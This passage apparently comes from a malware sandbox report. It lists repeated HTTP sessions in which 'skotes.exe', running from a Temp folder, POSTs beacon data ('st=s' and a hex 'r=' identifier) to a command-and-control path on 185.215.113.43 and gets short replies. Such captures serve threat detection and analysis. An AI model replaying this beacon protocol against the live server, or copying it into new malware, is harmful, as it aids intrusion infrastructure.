49	192.168.2.6	50274	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:44.359102964 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:10:45.268616915 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50275	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:46.783596039 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:10:47.712232113 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50276	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:49.342556953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:10:50.242299080 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50277	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:51.754255056 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:10:52.703066111 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	50279	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:54.327001095 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:10:55.263839006 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50280	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:56.784010887 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:10:57.712424994 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:10:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	50285	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:10:59.335635900 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:11:01.165060043 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 13, 2024 18:11:01.165287971 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 13, 2024 18:11:01.166013956 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 13, 2024 18:11:01.166977882 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	50286	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:02.687592983 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:11:03.640336990 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	50287	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:05.257082939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:11:06.182826042 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	50289	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:07.702589989 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:11:09.016995907 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	50290	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:11.613605976 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:11:12.540894032 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	50291	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:14.063369989 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:11:14.985399008 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	50292	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:16.613831043 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:11:17.517194986 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	50293	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:19.031373024 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:11:19.952970028 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	50294	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:21.578346968 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:11:22.512253046 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	50295	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:24.386073112 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:11:25.292656898 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	50296	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:26.917821884 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:11:27.837130070 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	50297	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:29.351377010 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:11:30.248142004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	50300	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:31.864963055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:11:32.755197048 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	50302	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:34.530458927 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:11:35.443572998 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	50303	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:37.064517975 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:11:37.958786011 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	50304	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:39.470819950 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:11:40.388703108 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:11:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	50305	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:11:42.479387045 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
